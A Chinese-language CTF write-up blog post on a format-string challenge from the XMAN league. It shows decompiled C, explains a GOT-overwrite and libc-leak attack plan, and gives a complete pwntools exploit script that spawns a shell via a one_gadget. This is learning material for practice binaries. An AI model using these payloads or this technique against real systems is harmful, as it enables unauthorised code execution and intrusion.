格式化字符串练手

August 10, 2019 PWN 访问: 65 次

pwn

xman联赛上的一道题,开启了canary、NX保护,程序逻辑不难
main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("welcome to xman~");
  if ( (unsigned int)CheckIn() == 1 )
  {
    memset(&buf, 0, 0x100uLL);
    write(1, "guess?: ", 8uLL);
    read(0, &buf, 0x100uLL);
    printf(&buf, &buf, argv);
  }
  puts("bye~");
  exit(0);
}

CheckIn:

_BOOL8 CheckIn()
{
  unsigned int v0; // eax
  char v1; // ST00_1
  _QWORD v3[2]; // [rsp+0h] [rbp-30h]
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int16 v5; // [rsp+18h] [rbp-18h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  LOWORD(v3[0]) = (unsigned __int8)(rand() % 5 + 48);
  printf("enter:", v3[0]);
  buf = 0LL;
  v5 = 0;
  read(0, &buf, 0xAuLL);
  return (_BYTE)buf == v1;
}

随机种子,我们需要枚举
main函数中存在printf格式化字符串漏洞

攻击流程

  • 覆盖exit的got地址为main函数
  • 泄露libc基地址
  • 覆盖rand函数的got地址为one_gg,从而getshell

exp:

from pwn import *
context.log_level = 'debug'
while True:
    r = process("./pwn2")
    file = ELF("./pwn2")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    exit_got = file.got['exit']
    puts_got = file.got['puts']
    log.info(hex(exit_got))
    payload1 ="%4196176c%10$n"+"\x00\x00"+p64(exit_got)
    payload2 = "%9$s\x00\x00\x00\x00"+p64(puts_got)
    try:
        r.recvuntil("enter:")
        r.sendline(str(48))
        r.recvuntil("guess?: ")
        # gdb.attach(r)
        # raw_input()
        r.sendline(payload1)
        r.recvuntil("enter:")
        r.sendline(str(48))
        while "bye~" in r.recv():
            r.sendline(str(48))
        r.sendline(payload2)
        puts_addr = u64(r.recvuntil("bye~",drop=True)+"\x00\x00")
        log.info("puts_addr : "+hex(puts_addr))
        base_addr = puts_addr- libc.symbols['puts']
        one_gg = 0x45216+base_addr
        log.info("base_addr:"+hex(base_addr))
        log.info("one_gg:"+hex(one_gg))
        payload3 = "%"+str(int(one_gg&0xffff))+"c%10$hn"
        payload3 += "\x00"*(0x10-len(payload3))+p64(0x601068)
        print len(payload3)
        r.recvuntil("enter:")
        r.sendline(payload3)
        r.sendline(str(48))
        while "bye~" in r.recv():
            r.sendline(str(48))
        r.sendline(payload3)
        # gdb.attach(r)
        raw_input()
        sleep(0.2)
        r.interactive()
    except EOFError:
        pass

因为最后一次发送payload后有点问题,卡了我一个多小时也没调试出来,到最后才发现竟然少了一句raw_input(),心态爆炸,自己太菜了!

添加新评论